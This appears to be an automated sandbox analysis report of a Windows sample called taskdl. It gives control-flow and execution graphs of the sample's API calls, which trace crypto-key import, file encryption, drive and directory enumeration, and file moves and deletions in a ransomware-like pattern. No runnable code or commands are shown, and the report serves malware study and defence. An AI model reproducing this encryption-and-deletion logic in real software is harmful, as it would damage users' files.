                                                                                                                          control_flow_graph 102 4013d0-4013ec 103 4013f2-4013f7 102->103 104 40152b-401538 102->104 107 401404 103->107 108 4013f9-401402 103->108 105 4015e7-4015e9 104->105 106 40153e-40154e 104->106 109 401682-401689 105->109 110 4015ef-401600 105->110 111 401550 106->111 112 40157c-40158c 106->112 113 401406-401408 107->113 108->107 108->113 114 401602-401614 call 401690 110->114 115 40161e-401627 110->115 116 401554-401572 call 401690 111->116 119 4015a6-4015ad 112->119 120 40158e-40159c call 401690 112->120 117 40140a-40140c 113->117 118 40140e-401410 113->118 140 401616-40161a 114->140 125 401629-401645 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 115->125 126 40164f-401656 115->126 141 401574-401578 116->141 127 401413-40141b 117->127 118->127 121 4015b3-4015cb ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 119->121 122 40167f 119->122 137 40159e-4015a2 120->137 121->121 129 4015cd-4015e4 121->129 122->109 125->125 132 401647-40164b 125->132 126->122 133 401658 126->133 134 40141d 127->134 135 40141f-40143e ??2@YAPAXI@Z 127->135 132->126 142 40165c-401675 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 133->142 134->135 138 401440-401456 call 401690 135->138 139 401458-40145c 135->139 137->119 138->139 145 40147e-40148f 139->145 146 40145e 139->146 140->115 141->112 142->142 143 401677-40167b 142->143 143->122 149 401491 145->149 150 4014b5-4014bd 145->150 148 401462-40147c call 401690 146->148 148->145 152 401495-4014b3 call 401690 149->152 153 4014d0-4014f1 call 4018d0 150->153 154 4014bf-4014ce ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 150->154 152->150 160 4014f3-401509 153->160 161 40150c-401528 153->161 154->153 154->154
                                                                                                                          APIs
                                                                                                                          • ??2@YAPAXI@Z.MSVCRT(?,76435320,00000000,00000000,?,?,00000001,?), ref: 00401423
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,00000001,?), ref: 004014C3
                                                                                                                          • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76435320,00000000,00000000,?,?,00000001,?), ref: 004015C0
                                                                                                                          • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76435320,00000000,00000000,?,?,00000001,?), ref: 0040163D
                                                                                                                          • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76435320,00000000,00000000,?,?,00000001,?), ref: 0040166A
                                                                                                                            • Part of subcall function 00401690: ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76435320,00000000,00000000,?,?), ref: 004016EE
                                                                                                                            • Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76435320,00000000,00000000,?,?), ref: 004016F6
                                                                                                                            • Part of subcall function 00401690: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
                                                                                                                            • Part of subcall function 00401690: ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
                                                                                                                            • Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000006.00000002.1551583813.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000006.00000002.1551549534.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551607132.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551632748.0000000000404000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$V12@$?assign@?$basic_string@$Split@?$basic_string@$??2@Eos@?$basic_string@Grow@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3154500504-0
                                                                                                                          • Opcode ID: 6636b44b641b77d4c97a97785cbcd8c41d41e59366c3e557b6000251a80c17ff
                                                                                                                          • Instruction ID: 1a94831c173c9211e28d46cdbba668eac71917d736910117d3345b582314b656
                                                                                                                          • Opcode Fuzzy Hash: 6636b44b641b77d4c97a97785cbcd8c41d41e59366c3e557b6000251a80c17ff
                                                                                                                          • Instruction Fuzzy Hash: FA81B472A003109BD710DE18CC8492AB7E5FBC8358F094A3EED49BB391D636EE05CB95

                                                                                                                          Execution Graph

                                                                                                                          Execution Coverage:9%
                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                          Signature Coverage:19.4%
                                                                                                                          Total number of Nodes:1580
                                                                                                                          Total number of Limit Nodes:17
                                                                                                                          execution_graph 5443 408c40 5444 408d5c 5443->5444 5446 408c97 5443->5446 5445 408c9d _ftol _ftol 5445->5446 5446->5444 5446->5445 5906 401140 #4710 SendMessageA SendMessageA #537 5911 401970 #3092 #6199 #800 5906->5911 5908 401199 SetTimer 5909 4011c3 CreateThread 5908->5909 5910 4011dd 5908->5910 5909->5910 5912 4012d0 5909->5912 5911->5908 5915 4012e0 sprintf sprintf GetFileAttributesA 5912->5915 5916 4013b0 fopen 5915->5916 5917 401350 5915->5917 5919 4012d9 5916->5919 5920 4013ef fread fclose sprintf fopen 5916->5920 5937 404640 InitializeCriticalSection 5917->5937 5920->5919 5922 401471 fread fclose sprintf fopen 5920->5922 5921 401359 5938 4047c0 5921->5938 5922->5919 5923 4014f2 fread fclose 5922->5923 5955 40be90 strncpy strncpy strncpy 5923->5955 5926 401377 5928 401395 DeleteFileA 5926->5928 5929 40137b 5926->5929 5927 401525 5956 40c240 5927->5956 5954 404690 DeleteCriticalSection 5928->5954 5999 404690 DeleteCriticalSection 5929->5999 5933 401575 5933->5919 5998 404640 InitializeCriticalSection 5933->5998 5935 40158c 5936 4047c0 16 API calls 5935->5936 5936->5929 5937->5921 5939 4046b0 CryptAcquireContextA 5938->5939 5941 40484e 5939->5941 5940 4048f3 5940->5926 5941->5940 5942 4049b0 7 API calls 5941->5942 5943 40486e 5942->5943 5944 4048e5 _local_unwind2 5943->5944 5946 4049b0 7 API calls 5943->5946 5944->5940 5947 40488a 5946->5947 5947->5944 5948 404895 CryptEncrypt 5947->5948 5948->5944 5949 404908 CryptDecrypt 5948->5949 5949->5944 5950 404932 strncmp 5949->5950 5951 404984 5950->5951 5952 40495e _local_unwind2 5950->5952 6000 4049a6 5951->6000 5952->5926 5954->5916 5955->5927 5957 40c25f 5956->5957 5958 40bed0 110 API calls 5957->5958 5959 40c29b 5958->5959 5960 40c2a2 5959->5960 5961 40c2c8 5959->5961 5962 40c2bc 5960->5962 5963 40c2ad SendMessageA 5960->5963 5964 40c2e5 5961->5964 5965 40c2d9 SendMessageA 5961->5965 5967 40dbf0 free 5962->5967 5963->5962 5966 40dc00 4 API calls 5964->5966 5965->5964 5968 40c2f8 5966->5968 5993 40c3d8 5967->5993 5969 40dc00 4 API calls 5968->5969 5970 40c313 5969->5970 5971 40dd00 4 API calls 5970->5971 5972 40c324 5971->5972 5973 40dd00 4 API calls 5972->5973 5974 40c335 5973->5974 5975 40dc00 4 API calls 5974->5975 5976 40c350 5975->5976 5977 40dc00 4 API calls 5976->5977 5978 40c36b 5977->5978 5979 40dc00 4 API calls 5978->5979 5980 40c37d 5979->5980 5981 40c3e0 5980->5981 5982 40c3a9 5980->5982 5983 40c3f0 5981->5983 5984 40c3e4 SendMessageA 5981->5984 5985 40c3b9 5982->5985 5986 40c3ad SendMessageA 5982->5986 5987 40c419 5983->5987 5988 40c44d 5983->5988 5984->5983 5989 40dbf0 free 5985->5989 5986->5985 5990 40c429 5987->5990 5991 40c41d SendMessageA 5987->5991 5992 40c49c 5988->5992 5995 40c45e fopen 5988->5995 5989->5993 5997 40dbf0 free 5990->5997 5991->5990 5992->5962 5994 40c4a0 SendMessageA 5992->5994 5993->5933 5994->5962 5995->5992 5996 40c479 fwrite fclose 5995->5996 5996->5992 5997->5993 5998->5935 5999->5919 6001 404770 3 API calls 6000->6001 6002 4049ad 6001->6002 6002->5940 6126 409a40 6130 409d40 6126->6130 6129 409ae7 #2414 #2414 6131 409a87 OffsetRect CreateRectRgn #1641 #5781 6130->6131 6131->6129 6357 409f40 PtVisible 6358 40cf40 6366 40d300 6358->6366 6360 40cf61 6361 40d300 6 API calls 6360->6361 6362 40cf66 6360->6362 6363 40cf87 6361->6363 6364 40d300 6 API calls 6363->6364 6365 40cf8c 6363->6365 6364->6365 6367 40d31f 6366->6367 6368 40d32e 6366->6368 6367->6360 6369 40d339 6368->6369 6370 40d373 time 6368->6370 6372 40d363 6368->6372 6373 40d378 6368->6373 6369->6360 6374 40d493 6370->6374 6375 40d41e 6370->6375 6388 40d2b0 6372->6388 6377 40d3b0 6373->6377 6378 40d380 6373->6378 6379 40d4b1 6374->6379 6384 40d4a8 free 6374->6384 6375->6374 6386 40d487 time 6375->6386 6387 40d469 Sleep 6375->6387 6392 412a90 malloc 6377->6392 6380 40d2b0 memmove 6378->6380 6379->6360 6380->6370 6382 40d3b6 6383 40d3c1 6382->6383 6385 40d2b0 memmove 6382->6385 6383->6360 6384->6379 6385->6370 6386->6374 6386->6375 6387->6375 6389 40d2f5 6388->6389 6390 40d2be 6388->6390 6389->6370 6391 40d2c3 memmove 6390->6391 6391->6389 6391->6391 6392->6382 6135 407650 6136 40765e 6135->6136 6139 407670 6135->6139 6137 4076a0 20 API calls 6136->6137 6140 407665 #2379 6137->6140 6138 407690 #2379 6139->6138 6141 40b620 9 API calls 6139->6141 6142 40768d 6141->6142 6142->6138 5447 404050 #616 5448 404068 5447->5448 5449 40405f #825 5447->5449 5449->5448 6003 404150 6008 404170 #2414 #800 #800 #795 6003->6008 6005 404158 6006 404168 6005->6006 6007 40415f #825 6005->6007 6007->6006 6008->6005 6132 403250 6133 403261 #825 6132->6133 6134 40326a 6132->6134 6133->6134 6143 413254 _exit 6009 413556 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 5284 405a60 5331 40b620 FindWindowW 5284->5331 5288 405aab #2514 5354 403f20 #2414 5288->5354 5290 405ae9 5355 403f20 #2414 5290->5355 5292 405b04 5356 403f20 #2414 5292->5356 5294 405b1f 5357 403f20 #2414 5294->5357 5296 405b3f 5358 403f20 #2414 5296->5358 5298 405b5a 5359 403f20 #2414 5298->5359 5300 405b75 5360 403f20 #2414 5300->5360 5302 405b90 5361 403f20 #2414 5302->5361 5304 405bab 5362 403f20 #2414 5304->5362 5306 405bc6 5363 403f20 #2414 5306->5363 5308 405be1 5364 403f20 #2414 5308->5364 5310 405bfc 5365 403f90 #2414 5310->5365 5312 405c10 5366 403f90 #2414 5312->5366 5314 405c24 #800 #800 #800 #800 #781 5367 4050a0 #800 #795 5314->5367 5316 405c9c 5368 4050a0 #800 #795 5316->5368 5318 405cb0 5369 404170 #2414 #800 #800 #795 5318->5369 5320 405cc4 5370 404170 #2414 #800 #800 #795 5320->5370 5322 405cd8 5371 404170 #2414 #800 #800 #795 5322->5371 5324 405cec 5372 404170 #2414 #800 #800 #795 5324->5372 5326 405d00 5373 405d90 #654 #765 5326->5373 5328 405d14 5374 405d90 #654 #765 5328->5374 5330 405d28 #609 #609 #616 #641 5332 40b634 7 API calls 5331->5332 5333 405a8a #1134 #2621 #6438 5331->5333 5332->5333 5334 40b687 ExitProcess 5332->5334 5335 4060e0 #324 #567 #567 #567 5333->5335 5375 4085c0 7 API calls 5335->5375 5337 406162 5338 4085c0 9 API calls 5337->5338 5339 406172 5338->5339 5379 404090 7 API calls 5339->5379 5341 406182 5380 404090 7 API calls 5341->5380 5343 406192 5381 404090 7 API calls 5343->5381 5345 4061a2 5382 404090 7 API calls 5345->5382 5347 4061b2 5383 405000 #567 #540 5347->5383 5349 4061c2 5350 405000 2 API calls 5349->5350 5351 4061d2 #567 #540 #540 #540 #540 5350->5351 5385 407640 5351->5385 5353 4062cb 7 API calls 5353->5288 5354->5290 5355->5292 5356->5294 5357->5296 5358->5298 5359->5300 5360->5302 5361->5304 5362->5306 5363->5308 5364->5310 5365->5312 5366->5314 5367->5316 5368->5318 5369->5320 5370->5322 5371->5324 5372->5326 5373->5328 5374->5330 5376 408660 #6140 5375->5376 5377 408654 5375->5377 5376->5337 5377->5376 5378 40865a GetSysColor 5377->5378 5378->5376 5379->5341 5380->5343 5381->5345 5382->5347 5384 40504a 5383->5384 5384->5349 5385->5353 5450 403860 SendMessageA 5451 403892 SendMessageA 5450->5451 5452 403883 #1200 5450->5452 5453 4038d1 5451->5453 5454 4038a5 SendMessageA CreateThread 5451->5454 5454->5453 5455 4038e0 5454->5455 5458 4038f0 5455->5458 5457 4038e9 5477 403eb0 6 API calls 5458->5477 5460 403916 SendMessageA 5461 4039e1 5460->5461 5462 403937 SendMessageA 5460->5462 5524 403eb0 6 API calls 5461->5524 5463 403951 5462->5463 5464 403958 5462->5464 5478 403af0 fopen 5463->5478 5495 401e90 5464->5495 5467 4039ea CloseHandle 5467->5457 5469 403961 sprintf 5500 402020 5469->5500 5471 403998 5476 40399c 5471->5476 5509 403a20 5471->5509 5472 4039cd 5517 401f30 5472->5517 5475 4039c8 #1200 5475->5472 5476->5472 5476->5475 5477->5460 5479 403b41 5478->5479 5480 403b28 5478->5480 5481 401e90 InitializeCriticalSection 5479->5481 5480->5464 5482 403b4d 5481->5482 5483 402020 14 API calls 5482->5483 5484 403b67 5483->5484 5485 403b6b 5484->5485 5493 403b9b 5484->5493 5486 401f30 6 API calls 5485->5486 5488 403b82 5486->5488 5487 403c61 fclose 5489 401f30 6 API calls 5487->5489 5488->5464 5491 403c8f 5489->5491 5490 403bb2 fgets 5492 403c5f 5490->5492 5490->5493 5491->5464 5492->5487 5493->5487 5493->5490 5493->5492 5525 402650 MultiByteToWideChar 5493->5525 5617 404640 InitializeCriticalSection 5495->5617 5497 401eb6 5618 404640 InitializeCriticalSection 5497->5618 5499 401ec4 5499->5469 5619 4046f0 5500->5619 5502 402031 5503 402035 5502->5503 5504 402048 GlobalAlloc 5502->5504 5505 4046f0 12 API calls 5502->5505 5503->5471 5506 402061 5504->5506 5507 402066 GlobalAlloc 5504->5507 5505->5504 5506->5471 5508 402079 5507->5508 5508->5471 5510 403a32 GetLogicalDrives 5509->5510 5511 403adc 5509->5511 5515 403a48 5510->5515 5511->5476 5512 403a53 GetDriveTypeW 5513 403a81 GetDiskFreeSpaceExW 5512->5513 5512->5515 5513->5515 5514 403ace 5514->5476 5515->5512 5515->5514 5657 4026b0 5515->5657 5747 401fa0 5517->5747 5519 401f60 5756 404690 DeleteCriticalSection 5519->5756 5521 401f7a 5757 404690 DeleteCriticalSection 5521->5757 5523 401f8a 5523->5461 5524->5467 5528 402560 wcscpy wcsrchr 5525->5528 5527 40269a 5527->5493 5529 4025c9 wcscat 5528->5529 5530 402599 _wcsicmp 5528->5530 5531 4025bd 5529->5531 5530->5531 5532 4025ae _wcsicmp 5530->5532 5541 4020a0 CreateFileW 5531->5541 5532->5529 5532->5531 5534 4025eb 5535 402629 DeleteFileW 5534->5535 5536 4025ef DeleteFileW 5534->5536 5537 402634 5535->5537 5536->5537 5538 4025fa 5536->5538 5537->5527 5539 402617 5538->5539 5540 4025fe MoveFileW 5538->5540 5539->5527 5540->5527 5542 402143 GetFileTime ReadFile 5541->5542 5560 402139 _local_unwind2 5541->5560 5544 40217c 5542->5544 5542->5560 5545 402196 ReadFile 5544->5545 5544->5560 5546 4021b3 5545->5546 5545->5560 5547 4021c3 ReadFile 5546->5547 5546->5560 5548 4021ea ReadFile 5547->5548 5547->5560 5549 402208 ReadFile 5548->5549 5548->5560 5550 402226 5549->5550 5549->5560 5551 402233 CloseHandle CreateFileW 5550->5551 5552 4022f9 CreateFileW 5550->5552 5554 402264 SetFilePointer ReadFile 5551->5554 5551->5560 5553 40232c 5552->5553 5552->5560 5574 404af0 5553->5574 5556 402297 5554->5556 5554->5560 5558 4022a4 SetFilePointer WriteFile 5556->5558 5556->5560 5557 40234d 5559 402372 5557->5559 5563 404af0 4 API calls 5557->5563 5558->5560 5561 4022ce 5558->5561 5559->5560 5579 40a150 5559->5579 5560->5534 5561->5560 5562 4022db SetFilePointer SetEndOfFile 5561->5562 5565 402497 SetFileTime 5562->5565 5563->5559 5566 4024e0 _local_unwind2 5565->5566 5567 4024bc CloseHandle MoveFileW 5565->5567 5566->5534 5567->5566 5569 402477 SetFilePointerEx SetEndOfFile 5569->5565 5570 4023e0 ReadFile 5570->5560 5571 4023a7 5570->5571 5571->5560 5571->5569 5571->5570 5586 40b3c0 5571->5586 5575 404b04 EnterCriticalSection CryptDecrypt 5574->5575 5576 404afc 5574->5576 5577 404b3b LeaveCriticalSection 5575->5577 5578 404b2d LeaveCriticalSection 5575->5578 5576->5557 5577->5557 5578->5557 5580 40a184 5579->5580 5581 40a15e ??0exception@@QAE@ABQBD _CxxThrowException 5579->5581 5582 40a197 ??0exception@@QAE@ABQBD _CxxThrowException 5580->5582 5583 40a1bd 5580->5583 5581->5580 5582->5583 5584 40a1d0 ??0exception@@QAE@ABQBD _CxxThrowException 5583->5584 5585 40a1f6 5583->5585 5584->5585 5585->5571 5587 40b3d0 ??0exception@@QAE@ABQBD _CxxThrowException 5586->5587 5588 40b3ee 5586->5588 5587->5588 5589 40b602 ??0exception@@QAE@ABQBD _CxxThrowException 5588->5589 5597 40b410 5588->5597 5590 40b5ba 5592 40b0c0 4 API calls 5590->5592 5598 402424 WriteFile 5590->5598 5592->5590 5594 40b4cf ??0exception@@QAE@ABQBD _CxxThrowException 5596 40b4ed 5594->5596 5595 40b59c ??0exception@@QAE@ABQBD _CxxThrowException 5595->5590 5596->5590 5596->5595 5596->5598 5605 40adc0 5596->5605 5597->5594 5597->5596 5597->5597 5597->5598 5599 40b0c0 5597->5599 5598->5560 5598->5571 5600 40b0d0 ??0exception@@QAE@ABQBD _CxxThrowException 5599->5600 5601 40b0ee 5599->5601 5600->5601 5604 40b114 5601->5604 5611 40a9d0 5601->5611 5604->5597 5606 40add0 ??0exception@@QAE@ABQBD _CxxThrowException 5605->5606 5607 40adee 5605->5607 5606->5607 5608 40ae14 5607->5608 5614 40a610 5607->5614 5608->5596 5612 40a9e1 ??0exception@@QAE@ABQBD _CxxThrowException 5611->5612 5613 40a9ff 5611->5613 5612->5613 5613->5597 5615 40a621 ??0exception@@QAE@ABQBD _CxxThrowException 5614->5615 5616 40a63f 5614->5616 5615->5616 5616->5596 5617->5497 5618->5499 5636 4046b0 5619->5636 5621 4046f8 5622 404709 5621->5622 5623 4046fc 5621->5623 5625 404711 CryptImportKey 5622->5625 5626 40473e 5622->5626 5641 404770 5623->5641 5629 404760 5625->5629 5630 404731 5625->5630 5648 4049b0 CreateFileA 5626->5648 5629->5502 5631 404770 3 API calls 5630->5631 5633 404738 5631->5633 5632 40474c 5632->5629 5634 404770 3 API calls 5632->5634 5633->5502 5635 40475a 5634->5635 5635->5502 5637 4046b7 CryptAcquireContextA 5636->5637 5638 4046e0 5637->5638 5639 4046d7 5637->5639 5638->5621 5639->5637 5640 4046dd 5639->5640 5640->5621 5642 404788 5641->5642 5643 40477a CryptDestroyKey 5641->5643 5644 40479d 5642->5644 5645 40478f CryptDestroyKey 5642->5645 5643->5642 5646 404703 5644->5646 5647 4047a4 CryptReleaseContext 5644->5647 5645->5644 5646->5502 5647->5646 5649 404a1b _local_unwind2 5648->5649 5650 404a09 GetFileSize 5648->5650 5649->5632 5650->5649 5651 404a25 5650->5651 5651->5649 5653 404a38 GlobalAlloc 5651->5653 5653->5649 5654 404a49 ReadFile 5653->5654 5654->5649 5655 404a64 CryptImportKey 5654->5655 5655->5649 5656 404a81 _local_unwind2 5655->5656 5656->5632 5658 40c8f0 #823 5657->5658 5659 4026e4 5658->5659 5660 40c8f0 #823 5659->5660 5661 402706 swprintf FindFirstFileW 5660->5661 5662 40274d 5661->5662 5676 4027b4 5661->5676 5696 402e00 5662->5696 5664 40276a #825 5666 402e00 2 API calls 5664->5666 5665 4027d4 wcscmp 5668 40295d FindNextFileW 5665->5668 5669 4027ee wcscmp 5665->5669 5670 4027a0 #825 5666->5670 5667 402978 FindClose 5674 40298d 5667->5674 5678 4029b9 5667->5678 5668->5667 5668->5676 5669->5668 5671 402808 swprintf GetFileAttributesW 5669->5671 5673 402ace 5670->5673 5675 4028b6 wcscmp 5671->5675 5671->5676 5672 4029ef swprintf DeleteFileW swprintf DeleteFileW 5679 402a6a #825 5672->5679 5680 402a4f 5672->5680 5673->5515 5674->5678 5686 402560 59 API calls 5674->5686 5675->5668 5677 4028d0 wcscmp 5675->5677 5676->5665 5676->5667 5676->5668 5689 402856 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5676->5689 5702 402af0 _wcsnicmp 5676->5702 5677->5668 5682 4028e6 wcscmp 5677->5682 5678->5672 5688 4026b0 84 API calls 5678->5688 5684 402a94 5679->5684 5685 402aba #825 5679->5685 5691 402a66 5680->5691 5728 402e90 5680->5728 5682->5668 5687 4028fc ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5682->5687 5684->5685 5693 402e90 2 API calls 5684->5693 5685->5673 5686->5674 5690 402da0 8 API calls 5687->5690 5688->5678 5724 402da0 #823 5689->5724 5694 4028a3 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5690->5694 5691->5679 5693->5684 5694->5668 5697 402e7a 5696->5697 5701 402e10 5696->5701 5697->5664 5698 402e4c #825 5699 402e6d 5698->5699 5698->5701 5699->5664 5700 402e40 #825 5700->5698 5701->5698 5701->5700 5703 402b12 wcsstr 5702->5703 5704 402b1f 5702->5704 5703->5704 5705 402b30 _wcsicmp 5704->5705 5706 402be9 _wcsicmp 5704->5706 5709 402b42 5705->5709 5710 402b4d _wcsicmp 5705->5710 5707 402c07 _wcsicmp 5706->5707 5708 402bfc 5706->5708 5711 402c21 _wcsicmp 5707->5711 5712 402c16 5707->5712 5708->5676 5709->5676 5713 402b67 _wcsicmp 5710->5713 5714 402b5c 5710->5714 5711->5676 5712->5676 5715 402b81 _wcsicmp 5713->5715 5716 402b76 5713->5716 5714->5676 5717 402b90 5715->5717 5718 402b9b _wcsicmp 5715->5718 5716->5676 5717->5676 5719 402bb5 wcsstr 5718->5719 5720 402baa 5718->5720 5721 402bc4 5719->5721 5722 402bcf wcsstr 5719->5722 5720->5676 5721->5676 5722->5706 5723 402bde 5722->5723 5723->5676 5725 402dbf 5724->5725 5733 402f10 5725->5733 5727 402de4 5727->5694 5729 402ed0 #825 5728->5729 5730 402eb1 5728->5730 5729->5680 5731 402ec4 #825 5730->5731 5732 402ebd 5730->5732 5731->5729 5732->5729 5734 402f40 5733->5734 5741 403044 5733->5741 5735 402f68 5734->5735 5740 402fdb 5734->5740 5737 402f74 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5735->5737 5738 402f6e ?_Xran@std@ 5735->5738 5736 403035 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5736->5741 5742 402f85 5737->5742 5738->5737 5739 402fc0 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5739->5727 5740->5736 5743 402ff5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5740->5743 5741->5727 5742->5739 5744 402fa1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5742->5744 5745 403006 5743->5745 5744->5739 5746 402fb7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 5744->5746 5745->5727 5746->5739 5748 404770 3 API calls 5747->5748 5749 401fac 5748->5749 5750 404770 3 API calls 5749->5750 5751 401fb4 5750->5751 5751->5751 5753 401fe3 5751->5753 5754 401fd0 GlobalFree 5751->5754 5752 40200c 5752->5519 5753->5752 5755 401ff9 GlobalFree 5753->5755 5754->5753 5755->5752 5756->5521 5757->5523 6010 403560 6011 40358c #4376 6010->6011 6012 40356e GetExitCodeThread 6010->6012 6013 403593 6011->6013 6012->6011 6012->6013 6396 40db60 send 6397 409f60 RectVisible 6398 401760 #6453 6399 401791 WaitForSingleObject TerminateThread CloseHandle 6398->6399 6400 4017b8 6398->6400 6399->6400 6401 40193e 6400->6401 6402 4018f6 6400->6402 6403 4017d8 sprintf fopen 6400->6403 6404 401915 6402->6404 6407 401903 rand 6402->6407 6405 401834 8 API calls 6403->6405 6406 4018da #1200 6403->6406 6404->6401 6408 401939 #1200 6404->6408 6405->6401 6406->6401 6407->6404 6408->6401 5758 404070 #693 5759 404088 5758->5759 5760 40407f #825 5758->5760 5760->5759 5761 40a070 DrawTextA 6015 408d70 6016 408e09 GetDeviceCaps 6015->6016 6018 408eb0 6016->6018 6024 408ed8 6016->6024 6019 408eba GetDeviceCaps GetDeviceCaps 6018->6019 6018->6024 6019->6024 6020 4090b6 #2414 6021 408f51 _ftol _ftol 6021->6024 6022 408fca _ftol _ftol _ftol 6023 409024 CreateSolidBrush #1641 6022->6023 6022->6024 6023->6024 6024->6020 6024->6021 6024->6022 6025 409048 FillRect #2414 6024->6025 6026 409083 #2754 6024->6026 6025->6024 6026->6024 6144 404670 6149 404690 DeleteCriticalSection 6144->6149 6146 404678 6147 404688 6146->6147 6148 40467f #825 6146->6148 6148->6147 6149->6146 6409 409b70 #2379 6416 403f70 6421 403f90 #2414 6416->6421 6418 403f78 6419 403f88 6418->6419 6420 403f7f #825 6418->6420 6420->6419 6421->6418 6422 404f70 #4476 6423 404f91 6422->6423 6424 404fc7 #3089 6422->6424 6423->6424 6425 404f9b 6423->6425 6150 403271 #2302 #2302 6151 406a00 #4476 6152 406a23 6151->6152 6154 406a62 6151->6154 6153 406a38 #3089 6152->6153 6152->6154 6153->6154 6155 406a46 #3089 6153->6155 6155->6154 6156 406a54 #3089 6155->6156 6156->6154 6157 401600 6158 4016e5 6157->6158 6159 40161a 6157->6159 6160 4016e9 #537 6158->6160 6164 4016de 6158->6164 6161 40161d 6159->6161 6162 40168f 6159->6162 6180 401970 #3092 #6199 #800 6160->6180 6166 401743 #2385 6161->6166 6169 401628 #537 6161->6169 6170 40165e 6161->6170 6163 401693 #537 6162->6163 6162->6164 6179 401970 #3092 #6199 #800 6163->6179 6164->6166 6168 401701 SendMessageA #2385 6177 401970 #3092 #6199 #800 6169->6177 6170->6164 6173 401663 #537 6170->6173 6171 4016ab SendMessageA #2385 6178 401970 #3092 #6199 #800 6173->6178 6174 401640 #2385 6176 40167b #2385 6177->6174 6178->6176 6179->6171 6180->6168 6426 403f00 6431 403f20 #2414 6426->6431 6428 403f08 6429 403f18 6428->6429 6430 403f0f #825 6428->6430 6430->6429 6431->6428 5429 413102 __set_app_type __p__fmode __p__commode 5430 413171 5429->5430 5431 413185 5430->5431 5432 413179 __setusermatherr 5430->5432 5441 4133b2 _controlfp 5431->5441 5432->5431 5434 41318a _initterm __getmainargs _initterm 5435 4131de GetStartupInfoA 5434->5435 5437 413212 GetModuleHandleA 5435->5437 5442 4133e6 #1576 5437->5442 5440 413236 exit _XcptFilter 5441->5434 5442->5440 5762 403810 WideCharToMultiByte 5765 403e60 SendMessageA #3998 SendMessageA 5762->5765 5764 403845 5765->5764 5766 403410 #4476 5767 403454 #3089 5766->5767 5768 403431 5766->5768 5769 40343b 5767->5769 5768->5767 5768->5769 6027 401110 #2302 5770 404410 SetCursor 6432 404310 6433 404333 6432->6433 6434 40433a #470 #5789 #5875 #6172 6432->6434 6435 4044c0 7 API calls 6433->6435 6436 40438a #5789 #755 6434->6436 6435->6434 6437 401f10 6438 401f30 6 API calls 6437->6438 6439 401f18 6438->6439 6440 401f28 6439->6440 6441 401f1f #825 6439->6441 6441->6440 6187 40ca19 6188 40ca26 6187->6188 6189 40ca28 #823 6187->6189 6188->6189 6209 409a20 6214 4099c0 6209->6214 6212 409a38 6213 409a2f #825 6213->6212 6215 409a03 6214->6215 6216 4099f3 #6170 6214->6216 6215->6212 6215->6213 6216->6215 5771 40a020 TabbedTextOutA 5783 408c20 5788 408b40 5783->5788 5785 408c28 5786 408c38 5785->5786 5787 408c2f #825 5785->5787 5787->5786 5789 408bd0 5788->5789 5790 408b78 BitBlt 5788->5790 5792 408bd6 #2414 #640 5789->5792 5793 408bc1 #5785 5790->5793 5794 408bb5 #5785 5790->5794 5792->5785 5793->5792 5794->5792 